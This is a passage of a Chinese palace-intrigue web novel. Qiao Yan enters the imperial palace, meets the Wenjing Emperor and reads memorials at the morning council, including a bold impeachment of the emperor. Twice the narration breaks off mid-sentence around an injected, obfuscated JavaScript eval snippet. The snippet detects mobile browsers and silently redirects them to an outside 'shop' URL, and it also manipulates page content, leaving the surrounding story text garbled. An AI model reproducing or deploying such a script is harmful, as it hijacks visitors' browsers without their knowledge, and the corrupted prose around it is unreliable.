冯忱本就年迈,又在诏狱吃了很多苦头,生受了这一鞭,竟直接扑倒在地,口吐黑血,气息奄奄。 “不要!”冯矩跪行挡在冯忱跟前,泪眼模糊。 忽然被人拽住了袖口。 冯矩茫然回首,只见冯忱死死地盯着他,不肯咽下最后一口气:“还……咳咳,不……改口……” 冯矩阖眼,心里一片荒凉,慢慢低下头,以首触地。 “老师。” 这一声“老师”喊过,他便再无冤屈可诉。 今日亲眼看着至亲人头落地,那一刻,他知道,无论有再多苦衷,无论别人如何评判,他都是有罪之人。 “乔姑娘,你该回去了。” 冯矩避而不谈乔燕方才的话,甚至添一份疏离,以一种温和但强势的态度,拒人于千里之外。 乔燕有些咋舌。 从前便知,如冯矩这般道德感很高的君子,很难展现出攻击性,但如今方知,原来他心里自有一堵以沉默铸就的巍峨城墙。他的难堪,他的冤屈,他的尊严,都被锁在城墙那头,不让世人窥见。 也不知为何,乔燕自从得知即将入宫而产生的怨愤慢慢淡去了。 “二郎,我明日入宫。” 冯矩身形一僵。 “大伯和二哥都被东厂抓走了,焉知乔家会不会是下一个冯家,如今能寻摸到让我进宫的路子,或许是圣人给的最后一条活路。” 乔家与冯家同气连枝,冯家出事,乔家必然会受牵连。冯矩心如刀割,嘴唇动了动,最后只挤出三个字,“对不住……” “对不住什么?” “都是我误了你的婚事,如果你早早嫁个好人家……” “从前你为恩师守孝,再加上一心备考,我甘愿等你三年。后来我为祖母守孝,换你等我三年。二郎,你我自觉自愿,何来耽误之说。你不要再说这样的话了,好像从前的一切,都变得不值了一样。” 乔燕疾步走到他身前,仰着脸,对他微微一笑:“午时我在台下看你,觉得你好像不想活了。冯二郎,今后我会走我的路,再难走也会走下去,希望你也是。” 4. 面圣 白天下了一场雨,路上人迹渺茫,一辆马车悄悄地驶向皇城。 乔府曾经也有着三世同朝的煊赫过去,有任皇帝赐了套废弃的王府,就在正阳门内西侧的大时雍坊,顶清贵的地段儿,与皇城挨得很近,顺着棋盘街,过大齐门,就到了承天门前。 金水桥头,宜婵先跳下马车,掀开车帘。一名内侍装扮的人走过来,跪伏于地上。 乔家清贵,从没用过人凳。乔燕探出半个身子,只迟疑了一瞬,就提着裙子踩上他的背,稳稳地落在地上。 车旁候着两名太监,乔燕眼风从他们身上扫过,望向眼前的皇城。 这座崭新的皇城是齐朝迁都北京后所建,城墙高三丈,在远处看时只觉巍峨,只有到宫墙下,方能让人觉知自己的渺小。 这一天是文景四十年间,一个极其寻常的夏日。 “姑娘登轿吧。” 青衣太监说着,撑开一柄天青绘兰的油纸伞,举到乔燕头顶遮阳。 乔燕点点头,才提上裙角,忽闻身后马蹄疾驰。 侍卫纷纷去拦,骏马嘶鸣。 “五娘!” 乔燕心中一颤,将将回首,被乔翀死死拽住手腕。 “跟四哥回家。” 乔翀性情耿直,又与这个妹妹感情最好,是以乔家为免多生事端,此事一直瞒着他,直到乔燕出门之后一刻方从说漏嘴的下人嘴里知晓。乔翀骑马夺门而出的时候,乔三郎乔均就在旁边,不得已跟着冲出来,落后一步气喘吁吁地赶到。 下了马,他恨不得给这个不着调的弟弟一巴掌。 “乔翀!你除了会说些漂亮话你还能干什么!!” 乔翀红了眼:“我至少不会把妹妹推入火坑!” “你!”乔均气得嘴唇直哆嗦,火气冲上心肝,指着他道,“好啊,那你带她回家!你敢吗!” “正有此意!” 乔均要被这个堂弟气死了,碍于在宫门前,有些话不敢说。 却是一旁的乔燕盯着眼前宽厚的手掌,释然一笑。她握住这只手,将其缓缓往回推。 “四哥,你的心意我领了……” 乔翀不意她竟不肯,一怔之后反手握住她:“跟哥哥回去!” “我不能回,四哥想来没有把事情听完,此事早已过了圣上的眼,我若回家,就是欺君。圣上仁善,宫里岂是火坑,我们都知道四哥是挂念妹妹,一时冲动口不择言,但如果被不知情的人听去,何止是大不敬的罪,你以后说话要注意分寸……我入宫享福去了,四哥,你若是挂念我,不妨好好读书,成为我身后的依靠。” 她最后用力一推,那只大手愣愣地悬在半空,久久回不过神。 乔燕乘小轿,入承天门,过端门,走过六科直房,又午门。 一道道城墙,一道道宫门,像一把把锁,把人困在四四方方的天地里。 轿子忽而向西,穿过归极门,看前行的方向,并非东西六宫,而是西华门。 “唐公公,我能问一下,这是要去哪儿么?”轿子里乔燕问道。 帘子外传来唐公公尖细和善的声音:“乔娘子,咱们要去西苑,圣上在那儿等您呢。” 西苑在宫城的西侧。昔年一场大火将大半个宫城烧毁,先帝在西苑驻跸三载,那儿也因此修的富丽堂皇,仙气飘飘,不似人间。 及至当今圣上登极,一心修道,在西苑的北海子建了一座问天观,养了许多道士,干脆就住在了西苑里。除了大朝会,几乎不去宫城了。 说着话,也不知经过了哪儿,轿身颠簸了一下。 车帘晃动,透出些许外面的光景,乔燕看到一片白玉石铺成的空墀,玉墀之上是宽阔的台基,再上有一座恢弘的殿宇。 她抓住车帘,想看得仔细些。唐直抒在轿子外瞧见,体谅她初次来此,好心介绍:“那儿是戏文里常说的金銮殿,皇极殿,廷议之所。您看那玉墀,上面每隔数步立着一块石碑,离得远看不清,石碑上刻着品级。” 若逢大朝会,所有的京官就会持笏立于石碑旁,如有圣令,则有随堂太监从玉陛而下,传令于殿前。 乔燕的思绪随着他的话慢慢飘远。 她很想见一见那一幕。 有些念头起就心念一动的事,不会受人的意志而转移。尽管知道不合适,可这一瞬乔燕还是想起了—— 若是参加大朝会的冯矩,不知会站在哪一排哪一列,戴二梁冠,绶三色带,一身正红朝服,持笏而立。寒冬酷暑,春去秋来,四季的风吹过衣角,一年一年。 想到这里,乔燕的眼前忽又浮现出前一日夜里,正阳门外的市口,冯矩为祖父殓尸,步履迟缓,月光落了满身霜雪。 每每想起这一幕,她的心里都会生出一阵阵的刺痛感,是悲哀,怜惜,还有她心里那丝丝缕缕,如春日含苞的少女情怀,初初绽开,便零落了。那是一种无法言说的感受,不浓烈也不灼人,只有后韵绵长的疼痛,始终萦绕在心怀。 可一想到身后的乔家,这丝悲春伤秋又转化为了自愧,她觉得自己哪怕只是想一想冯矩,都是一种对乔家的不贞与背叛。 乔燕叹了一口气,匆匆落下车帘。 西苑最令人瞩目的便是太液池,水域面积广阔,有一座天然小岛,迁都后有任皇帝在其上建广寒宫,本以为已极尽穷奢之事,孰料谁都没有后来的悼帝会享受—— 悼帝继位后,将太液池的两个海子扩建成三个,填平水面、砌筑团城,新建大小殿宇十余所。 这位先帝即位短短十数年,将国库挥霍一空,前人苦心经营的王朝就此开始走下坡路。气得当时的内阁首辅在他崩后,替他写了一篇罪己遗诏,骂了足足两页纸,众臣更是众口一心地为他定下“悼”这个谥号以泄心头之愤。也算是齐史上的一朵奇葩。 此刻乔燕乘坐的步舆便走在这位悼帝修建的白玉石桥上,两侧是波光粼粼的水面。石桥尽头有一座绿树葱茏的岛,岛上朱甍碧瓦,峰峦隐映,远远看去便是比起宫城也不逊色。 轿子停在一座单檐庑殿顶的宫殿跟前,乔燕钻出轿门,一抬头,看到中央挂着一块黄剪边的牌匾,上书气宇轩昂的“洗心”二字,垂脊上立着一排走兽,没等她数清,一名长眼圆脸的太监已小跑着到了跟前。 “奴婢董治,请问可是乔家五娘?” 入宫前乔父乔母和几位兄长给乔燕讲了许多宫里的事,这个名字乔燕有所耳闻,正是董玉莲最得宠的干儿子,董玉莲迁东厂提督后,他代监司礼监,宫里宫外勉强算个人物。 乔燕还不是宫里的主子,不敢受董治的全礼,就侧过身,受了一半,又回了一礼。 “是我。五娘见过小董公公。” “昨儿便得圣上吩咐,西苑要来一位贵人,是昔年先贵妃的侄女儿,想来也是天仙一般的人儿,奴婢岂敢怠慢,一早便在这候着……” 说着说着,董治抬起头,一腔话忽然忘在喉头。 乔燕含笑说着场面话:“这么晒的日头,有劳公公久等了。” 董治不敢再看,低下头,解释自己方才的失态:“奴婢没见过像乔姑娘这般的仙姿,一时惊为天人,有所冒犯,还望姑娘海涵。” 方才是客套,这一席却是实打实的真心话。这位乔姑娘姿容出众,满宫上下,不,怕是整个京城也无人可比拟。 和她的那位早逝的贵妃姑姑极像,正是文景帝十五年前最钟爱的那一类。 想到这里,董治在心里不由打了个鼓儿,回头得把这事儿跟干爹说道说道,乔家说不得能因祸得福,借此更上一层楼。 “公公客气了。不知我何时能见到圣上?” 董治忙道:“圣上就在里头,姑娘这边请。” 这一路应对的再得体,乔燕也还是第一次直面天子,下意识看向唐直抒。 唐直抒安抚道:“这位是司礼监的代掌印,姑娘跟他去就行了。面圣的礼仪都教给姑娘了,不必紧张,圣上最是仁善不过。” 乔燕很难不紧张:“您,您不进去吗?” “今儿咱家不随侍,司里还有事,咱家耽误不了太久,就要回了。” 乔燕张了张嘴,面上露出一丝无措,但是事情总要面对……她深呼吸一口气,跟着董治踏入殿门。 洗心殿面阔九间,殿中立着四根金柱,正前方的须弥座上摆着一鼎足有两人高的大香炉,边上候着两个总角道童,时刻盯着香火。须弥座下左右各摆着四张长而阔的木案,案后无人,案上也空荡荡的。 东西方向各有一小门,乔燕跟着董治入了东边小门,还没看清陈设,眼风已扫过一道杏黄的身影。 她心跳陡然加快,跪地叩拜,头深深地低了下去。 “臣女乔燕,问圣上安。” “起来吧。头抬起来,让朕瞧瞧。” 头顶传来的声音中正平和,既不过分和蔼,也不外露威严,与想象中相差甚远。 乔燕深吸一口气,抬起头,眼睛尽量看向下方,尽管如此,余光还是看到了皇帝,这个王朝最尊贵的人。 当时年号文景,是称“文景帝”。 文景帝身形瘦高,穿着一件黄色道袍,鬓发斑白,也许是长年累月的案牍劳形的缘故,看上去比实际年纪要老许多。 文景帝此刻手中提着一只粗杆紫毫的毛笔,只瞥了她一眼,便又将注意力落在了笔下那副快成型的水墨画上。 “多大了?” “回圣上,臣女今年二十有二。” 文景帝问的和蔼,乔燕却不敢有丝毫懈怠,恨不能每一根头发丝都在规矩之处。 文景帝有些讶异,看了她第二眼。 “二十二了还未许人吗?” 乔燕一顿,不敢欺君,小心地道:“曾经有人相看,不过还未过庚帖,后来臣女祖母去世,守孝三年,婚事就……作废了。” “唔,是冯忱的孙子吧。” 文景帝随口一提似的话语,却吓得乔燕慌忙跪地:“臣女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996280|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前与他也不曾有过几个照面,对其并不了解,婚约不过是父母之命。” “怎么又跪了,起来吧,怕什么,”文景帝轻描淡写地转开话题,“朕记得先贵妃还在世的时候,有一回朕去她宫里,正好遇到乔老夫人带着你探亲,那会儿你才一丁点大,不仅瘦,而且怕生,见到朕也不行礼,就躲到先贵妃的身后。那会儿你多大?八岁还是九岁?” “那时候臣女已经十三岁了,臣女在姑苏长到十三岁才回京,小时候挑食,吃得少,所以看起来格外瘦小。” “挑食可不好。” 乔燕斟酌语气:“圣上教训的是。” 这番对答实在有些木讷,令人扫兴,文景帝眉梢微挑,提笔蘸墨,没有再出声。乔燕不敢兀自开口,只一直垂头站着,满脑子胡思乱想。 也不知过了多久,听文景帝问:“朕画的怎么样?” 乔燕骤然回神,这才发现董治不知何时离开了,屋子里只剩她和皇帝二人。 文景帝注视着她,老态的眼中不见丝毫浑浊,沉沉如大山压下,乔燕更觉紧张,连呼吸都比往日急促几分。 “臣,臣女不太懂书画,言语若有不当之处,还请您恕罪。” 文景帝微微皱眉:“朕不喜吞吞吐吐之人,既然如此就不必说了。” 话中索然兴味甚厚,乔燕心知自己怕是搞砸了,一时惴惴。 她怕文景帝不喜,更怕文景帝让她回家。 “朕修道以来,持戒净心,是看在先贵妃的面子上才见你一面,不想你的性子和先贵妃很不相同。” 天色晦暗,文景帝语调平静,听不出喜怒,话中的失望之意却很明显。 乔燕天塌地陷,面如死灰。 许是因为不再抱有期待,反而恢复了半成冷静,勉强找回往日在外应酬的对答水准:“世上难有相似之人,臣女若假借姑姑行止以期您的垂怜,那不仅是对逝者的不敬,更是对您不诚。” 她站在那,头微微低垂,头发全部上挽,露出一段修长白皙的脖颈,像从江南烟雨里抽出的柳条,纤细柔韧。 这样的美人,似乎天生便该被捧在掌心,藏在屋里,既狎且敬。 文景帝神情淡淡地俯视,审视着,许久后才在她越来越战栗的神色里开口:“乔家书香传世,识字罢?” “识得一些。” “罢了。” “不止一些,”乔燕听音识意,一转口风,鼓着勇气自我吹嘘,“臣女回府后一直跟在族兄弟后边随府上先生读书,后来母亲也有为我单独延师,虽没有到悉览世载之文的地步,读的书也不算少。” 在文景帝这样的人眼里,她的勇气也有种稚嫩——这样的女儿,乔家怎么就觉得送进宫能讨人欢心的? 文景帝忽觉好笑,也确实笑了起来,多说了两句:“朕年纪大了,耳目渐昏,有时候看奏疏久了,就会眼花,便叫奴婢们念着听。但这些东西诘屈聱牙,他们读得磕磕绊绊,时常错字漏字,听着令人心烦。你来的正巧,就留在朕身边,给朕磨磨墨、念念文书——能做好吗?” 不想竟有此峰回路转,乔燕大喜过望,脱口而出:“能!” “既跟着朕,朕便不会亏待你,回头封你个贵人,在宫里是个正经主子,架子得端起来,不可堕了天家脸面。” “谢圣上恩。” 文景帝懒得再跟她说话,摆了摆手:“下去吧。” 乔燕行了跪礼,犹豫片刻,一咬牙,问道:“臣女的大伯和二哥如今尚在诏狱,不知……” 文景帝深看她一眼,反问:“朕留你的原因,你明白吗?” 乔燕并不笨,入宫前,父兄曾彻夜给她分析过朝中局势。 父兄在朝多年,未必不知文景帝早已“持戒静心”,不近女色,还是送她入宫,是乔家递出的臣服的讯号。文景帝留她,就是有意施恩。 近年内阁官员变动尤为频繁,短短半载便换了三任首辅,与之相对的,是内廷日渐猖狂的态势。 当初设立东厂和司礼监,是为了制衡内阁。东厂与司礼监同属内廷,又互相掣肘。三方角力,朝堂太平。可如今董党将两个衙门全都攥在手里,俨然有一手遮天之能,皇帝难免不会忌惮。 乔家起复的势头,或许远不止于此。 这一刻,她更是福至心灵地意识到,文景帝此刻要的并不是她的回答,文景帝要的,是乔家的回答。 “妾明白,妾相信家中长辈与兄长亦明白。” 文景帝露出见面后的第一抹满意的神色——这个乔氏虽然木讷,但内有智慧。 “乔家两位能臣是朕的股肱之臣,这其中想必有误会,朕会着董大伴查清楚。只不过你要明白,你们乔家与冯家素来走得近,冯家之案,你们家有包庇之疑,在脏银查出之前,乔阁臣要避嫌。” “是。” “至于你二哥,朕记得他是文景三十五年的庶吉士,一直在翰林历练,牵涉不大,就继续做之前的事吧。” 5. 开端 天边刚泛起鱼肚白,一顶两人抬的步舆已经停在了朱红铜门的外头。 除了抬轿的两名粗使内侍,另有一个青衣太监随行。青衣太监上前两步,踩上门前踏跺,扣响黄铜铺首。 没等多久,门开了,青衣太监袖着手,站在低一阶的地方,微仰着头,和气地问道:“乔姑娘呢?” “咱们姑娘就来了,劳小金公公您等一会儿。” 这道门后住着新进宫的主子,乔燕。乔燕这次入宫只带了一个贴身的奴婢,如果是宫里正经的娘娘,自有尚宫局按例补上宫人,但尴尬就尴尬在乔燕尚未上玉牒,只能算半个主子,宫人们遇上了,也只能客客气气地称一声“姑娘”。 好在唐直抒行事周全,就在昨晚,他亲自送来四个奴婢,太监和宫女各两名。此刻应门的太监就是其中一个,叫做于海,昨夜正是他临时当值。 于海说完话后,不一会儿,一行人从门后步道上走来。青衣太监精神振奋,含胸弓腰拱手,笑起来脸上有一对酒窝,看起来十分讨喜。 “乔姑娘,奴婢是洗心殿的人,奉旨接您过去。” 这一去,乔燕要当着一众内阁阁老和司礼监大太监的面念奏疏。 自回到乔家后,乔燕受闺训日久,已记不清上回在人前抛头露面是何时。一想到今日要在众多响当当的人物面前不漏怯,她就心里发怵,为此一夜没有睡好,脂粉也遮不住眼底的青色。 横竖躲不过去,乔燕深呼吸了一口气,毅然伸出头准备挨这一刀。 “走吧。” 洗心殿外,一顶步舆晃晃悠悠地自西边而来,步舆上坐着一名须发尽白的老臣,头戴七梁冠,身穿绯色圆领官袍,胸前绣着白鹤补子,腰系白玉带子。 这是自冯忱去世、乔广川被羁之后,内阁里顶上来的新首辅束继文。 说来可怜,半年前内阁就在政斗里去了一人,尚来不及补上缺,如今又失两位阁员,下头的依次递补上来,就是首辅束继文和次辅温却疾——整个内阁也只剩下了他二人。 今日议事,两位阁老本都该到场,但温次辅前日感染风寒,在家休养,尚未痊愈回来。 两名较为年轻的翰林院官员早就等在了殿外,见到步舆,忙上前一步,一左一右地伸出手。 “老师。” “元辅。” 束继文站稳了,点了点头,松开他们的手,整襟正冠,昂首阔步走进了大殿。 殿里摆着两排木案,束继文在左上首坐下,待他坐下后,另两人才在下首坐下。 此时其他人还没有来,空旷的殿内燃着明灯,偶有荜拨声炸响,更衬得四下幽寂。 “老师,我听说,今天有个娘娘要来。”一位年轻官员轻声道。 另一人吓了一跳:“你从哪儿听说的,我怎么不知道?” “圣上眼睛不大好,之前都让太监念文书,但是念得磕磕绊绊,听得烦躁。这回乔家送了个知书达理的姑娘入宫,圣上就让她来念奏疏。” 此言一出,旁边的官员不由也默了一瞬,叹道:“乔家也是难做……但圣上把人带过来,到底是什么意思?元辅,如果圣上当真带女眷过来,我们要谏吗?” 一瞬间,四只眼睛都落在了闭目养神的束继文身上。 束继文眼睛不睁,冷声道:“按理来说,圣上的家事我们无权过问,但既然来了洗心殿,就不仅是家事,更是国事。” 就知道新的首辅是这么个一成不变的性子。最初提起这事的官员劝道:“老师,说句心里话,我觉得不妥,虽说‘理’不可废,但如果这也要谏,那也要谏,每天都争论在鸡毛蒜皮的小事上,真正为百姓做的实事能有多少。别忘了,我们今儿要让圣上在修缮皇陵的拨款上再节省一点,要是纠缠在一个女眷身上,岂非本末倒置。” 束继文深深皱起了眉。 见他有所动摇,官员再接再厉:“要我看,这事儿先观察观察,如果乔氏只念字,不参议国事,那我们就没必要在这上面大做文章了,只当是和从前念字的奴婢一样便好。” 没等束继文表态,大门外陆续进来两人,是两名起居舍人,一左一右坐在末端。没过一会儿,又进来三个太监,为首的正是司礼监代掌印董治,他们走到右边的长案后,董治只坐在第二席上,其余人坐在下首,将首座空了出来。 这就是平常日子里陪皇帝批阅公文的全部班底了。 因时间在每日清晨,所以大家私底下都称之为“晨议”。晨议时间短,只能挑要紧的事情商议,至于什么事情才称得上紧要——本朝奏疏全部都先由内阁做好批复建议,送到文书房,司礼监将其分类,一部分自行批红,分发六科,另一部分驳回的题本,便在晨议上拿出来商议,由皇帝裁决。 人到齐后反而没有人开口说话,一时安静下来。 金色的阳光悄无声息地攀上廊柱,东边侧门后终于传一阵窸窣声。随着一声嘹亮的唱喏,在场的八人全部站了起来,朝向小门,垂下头。 文景帝在董玉莲和一位年轻女子的搀扶下走了进来。 须弥座上置一香炉,龙椅在香炉后。那香炉本有两人高,文景帝坐下后,就将他和众人彻底隔了开来,只能透过镂空的地方,隐约看到一丝人影。 八人下跪,三呼万岁。 乔燕站在文景帝的右前方,侧过身,避开了他们的礼。 “都坐,”文景帝道,“现在议事。乔氏。” 束继文微微抬头,皱着眉,到底没说什么。旁边的官员悄悄松了口气。 乔燕接过随堂太监递来的题本,无声地深吸一口气,事到临头,她反而镇定下来,从第一个字娓娓读来。 这是一份工部上奏的题本。 去年夏日,暴雨泛滥,天寿山的皇陵坍塌,京中一时流言四起。文景帝怒不可遏,砍了一批参与营建皇陵的大臣,并拨了八十万的款项再修皇陵。但如今皇陵修到一半,银子却不够了,于是工部几位堂官部议之后,想再追加五十万两白银。 修皇陵对文景帝来说是头等大事,一口应下。 束继文下首的两名文官对视了一眼,一人起身道:“先惠帝新建皇陵,逾百十里,历时八载,银两以计,不过一百一十万。恕臣直言,这次不过是灾后修葺,工部的胃口未免也太大了。” 文景帝显然不悦了起来,反过来则问道:“今日议户部的事,次辅怎么没来?若是管不来户部,那朕看他这个户部尚书也做到头了。” 下首的文官答道:“回圣上,温阁老抱恙在身,已递奏呈请过假。” “这病的时候可真巧。” 文官们无奈地对视一眼。其实心里也颇有微词,温却疾入阁后亲眼看到前头的阁员接二连三地出事,好像被吓破了胆,日渐圆滑唯诺,人云亦云,问到他头上要么“元辅说的是”,要么“我也不敢妄下定论,有赖诸位同僚商讨”,若是遇事,则抱恙在家,推诿却责——这已是今年第五次了。 文景帝还在说:“朕躬身碌事半生,从未大兴土木,不过想修一个好一点的皇陵罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996281|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 当今皇帝确实未曾兴建什么宫殿,但虔诚修道,每年光在祭祀上的开销就够户部头疼了。 只是文景帝话都说到了这个份上,翰林院官员没有继续自讨没趣,他焦急地瞥向门口,好在,会极门的太监不负所望地出现在了他的视野里。 “什么事?”董治压低嗓子喝问。 “户部左侍郎刘允请求陛见。” 户部侍郎亲自来了,看来今日这事又要扯皮。文景帝脸色变得不太好看:“让他进来。” 太监下去传话,没多久,刘侍郎步履匆匆地走了过来。 他确实是为皇陵拨款一事而来,而且憋着一肚子火。本来两浙的盐运司能有一笔二百万的进款,但随着冯家公案的无疾而终,这笔银子好像也跟着消失了。今年才过了一半,国库已然赤字,连皇帝内帑的钱都给不上,就这样工部还要银子,他们整天只知道哭穷要钱,却也不想一想哪里还有钱给他们! 刘允这番前来心态十分光棍——反正户部没银子,皇帝如果想拿钱修皇陵,那您从自己的内帑掏吧! “国库怎么会这么快就空了!”文景帝忍不住道,“冯家贪墨案的二百万两呢,到现在还没找到吗?” 说到这儿,就牵扯到了东厂。董玉莲不得不答话:“冯家案子虽结,但涉事人员至今未曾道出脏银所在,微臣还在查。” 一直不言的束继文冷笑一声:“据我所知,冯家人一直到法场都未曾承认贪下这笔银子,这根本就是一笔糊涂账,凭空少的二百万两,也不知到底去了哪。” 董玉莲眯起眼:“束阁老,你这话的意思是在质疑圣上的裁断吗?” 束继文淡道:“冯家案子是你东厂查的,若有差池也是圣上受了小人蒙蔽。” 内廷代表着皇帝的脸面,束继文和董玉莲争,便是内阁和皇帝在争,文景帝听了自然不快。但此事内廷确实显露了私心,文景帝一想到就寒心不已。 不知何时,锦衣卫被东厂压得抬不起头,完全成了东厂的下属衙门。若不是锦衣卫指挥使是宗室子弟,偷偷入宫密报,还真不知道原来董玉莲私下跟赵王来往密切,和淮党更是关联颇深。 一条狗,若是认不清主子,朝外面的人摇尾巴,那离死也就不远了。 他心中越是不快,脸上反而越显平静。 “好了。” 两人这才住了嘴。 文景帝面无表情:“这笔钱总有个去处,没有查出来那就继续查,东厂查不出来,让锦衣卫帮你们查。不管怎么样,在雨季之前,朕要见到这笔银子。至于工部上奏的事,自然批准,户部不得推诿。” 君臣之间的拉锯已然与乔燕无关,她眼观鼻鼻观心地站着,努力淡出自己的存在感。 今天晨议颇费了时候,议会结束,文景帝没有留饭,乔燕饿着肚子回到住处已经过了午时一刻。 幸而天气热,尚食局送来的午食还冒着热气,就是汤水都糊在了一处,滋味不甚好。乔燕勉强吃了点,只觉不饿了,就叫撤了下去。 说来也巧,尚食局的女使刚走,尚宫局、司礼监的人就来了,两方还在门口打了个照面。 司礼监此行带了圣旨,大意是乔燕表现上佳,甚得圣心,封为贵人。尚宫局补全了乔贵人身边的宫人和一应份例。 就这样,乔贵人的深宫生活拉开了帷幕。 从紧张到习惯,从初来乍到到安之泰然,乔燕每天朝出午回,下午足不出户,对皇城的印象,几乎全在那一间威严的殿室里。 6. 进言 七月初三这天,乔燕入宫已有二十余天。天色蒙蒙亮之际,乔燕一如既往地站在御前,接过文书——这是今早会极门送来的奏本。 翻开首页,才看了一行字,乔燕脸色陡变,跪于地,双手捧着文书举过头顶。 “圣上恕罪。” 文景帝一手撑着头,纵使看见了她惶恐的情态,却不动声色:“嗯?这是怎么了?” “这篇奏本,妾不敢读。” 香炉里的烟气不歇,一缕一缕悠悠升起,像灰白色的叹息。 “读。” 乔燕又惊又惧。 看文景帝神情,似乎早已知晓奏疏的内容。那还要她读,是读给谁听的呢? 文景帝严厉地看了过来。 “是。” 乔燕不敢起身,就着跪的姿势,深吸一口气,硬着头皮读了出来: “臣南京国子监司业何舂谨奏……” 这是一本弹劾人的奏疏,用词十分讲究,通篇引经据典,不见脏话,却通篇都在骂人,简直骂得那人猪狗不如,恨不能立马转世投胎重新做人。 无疑是一篇很好的劾文。 如果被弹劾的那人不是当今皇帝的话。 当朝以言留名,满朝官员,上到一品首辅,下到九品侍诏,谁手下没写过几十本劾文?谁身上没背着几十本劾文?抢占良田要劾,娶丧不宜要劾,就连路边放个屁、脱个鞋也要劾个失态失仪。谁哪天没东西上奏了,就写个劾本,往上一递,两袖清风,一身正气。 但据乔燕所知,当朝文官自诩清流,却也从未有人弹劾皇帝。 骂是骂痛快了,然后呢?皇帝乐意看到这篇文章吗?会乐意别人看到这篇文章吗? 乔燕从没觉得自己的脖子离铡刀如此近过。 这位何舂,可真是个勇士。 时间过得再漫长,也终有读完的时候。最后一个字落下,乔燕战战兢兢,就着跪地的姿势一动也不敢动。 “依何舂所言,朕罪大恶极,诸位看,该怎么处置朕这个罪人呢?” 一派阗寂里,文景帝幽幽地开了口。 束继文脸色难看至极。 何舂是已故冯忱的学生,亦是束继文看好的后生之一,想是因老师蒙冤,内心愤懑之下才写下这篇慷慨之辞。 冯忱故去前,曾有意栽培这位学生,北京朝堂正是多事之秋,冯忱为了保学生平安,将其下放到南京的国子监,后来就……天人两隔了。 当朝官员上呈的文书有两种,一种是例行公事的“题本”,第二种就是陈私事的“奏本”,劾文就属于“奏本”的一种。 北直隶的官员想要呈奏本很简单,本人送到会极门就行,但北京之外的官员就要繁琐许多,他们的奏本要先和题本一起交到通政司,其中奏本会送到司礼监的文书房,最后由司礼监的太监在晨议之前上交给皇帝。 这样大逆不道的弹劾奏本,一直到乔燕当廷念出来内阁才知道,可见通政司有人特意避开了内阁的耳目。 很显然,司礼监进一步党同伐异,要向何舂下手了。 束继文面无表情地坐着,暂时没有开口的意思。 司礼监代掌印董治道:“微臣听来,这奏疏里多泄愤之言,何舂对圣上心怀怨怼,就是对大齐心怀怨怼;退一步来说,这样在奏本里夹带私人恩怨的人,放在朝廷上也不合适。” 就算以束继文的眼光来看,何舂这篇压上性命的文章,也确实太莽撞了。可是事已至此,他还是要尽力保一把。 “《齐太祖训》立下规定,当朝不以言获罪,内阁和司礼监协理政务这么多年,从未有一本劾文拿到晨议上说。今日这事,许是文书房弄错了。” 董治冷笑一声,慢悠悠地道:“圣上乃天子,一国气运之所在,岂能相提并论。若开了这个头,日后难不成谁心里有气,都能拿圣上说两句?要奴婢说,为此召九卿开廷议都不为过!” 束继文身边的翰林院官员笑道:“代掌印这话不对,我们聚在这,哪一次不是就事论事,不要扯到‘日后’还没发生的事情上。既然不知道该怎么定夺,不妨看看先例。西汉汲长孺、唐朝魏玄成、前朝包希仁,哪一位不是名垂千古的诤臣。王臣謇謇,匪躬之故,何错有之。” 束继文淡道:“圣上裁夺。” 此言一出,董治就不好继续辩了。带着几分期待地看向香炉,仿佛能透过它看到后面的帝王。 文景帝眼睛不睁,脸上没什么表情,心里却着实恼火。再大度之人被这样指着鼻子都难忍恶气,更何况他根本算不上大度之人,特意将这奏本在晨议上拎出来,是为了杀杀文官的威风,出一口气。可祖训确实有“不以言获罪”,他再怎么动怒,也不能明白地表现出来,否则堂下中书舍人的笔下,就该记载“圣上失德”,流传千古了。 文景帝原本指望着司礼监替他发声,如今却是失望不已。 殿中十分安静,只闻粗重的喘息,过了许久,出乎所有人的意料,文景帝点了一个名字:“乔氏,你觉得呢?” 这是此前一个月都没有发生的事,束继文眉头一竖,就要开口,被身边的官员拉住。一片寂静里,那位官员极小声地说道:“还要救人,让一回罢。” 束继文僵在原地,叹了口气,肩膀一时委顿了下去。 另一边,乔燕还跪着没有起,不曾想到这把火竟会烧到自己身上,只是皇帝发问,不敢不答。 这个何舂有内阁作保,加上祖训,不论文景帝心里是如何想的,今日都治不了他,只是如今被架在高处,为保颜面,难以下台,既然如此,不如给皇帝搭个梯子。 一念转过,乔燕垂着头,恭谨地道:“妾身恭喜圣上。” 文景帝睁开眼。 只听乔燕柔声道:“一国之事,百姓之意,唯有言路通畅,方能上达天听。如今朝廷广开言事之路,臣子敢犯颜直谏,正是政治清明、圣主治世的象征。妾恭喜圣上,得海晏河清,开一代盛世。” 文景帝眉梢一挑,有些意外。 “若非这个奏本,朕还不知自己竟有这么多不足之处,司礼监拿给朕看,朕也给你们看个乐子。” 听到这里,董治脸上的期待消失的无影无踪,甚至带上了几分惶惶然。他下意识抬起头寻人,待看到香炉的左边空无一人,才想起今日董玉莲有事不在宫中。 “乔氏说得对,广开言路是好事,但是,”文景帝忽然沉了语气,给这份奏本下了结语,“朝置谏官以匡大理,朕希望呈上来的奏疏,都言之有物,补阙拾遗。不要写一些置气之言、迂阔之论!” 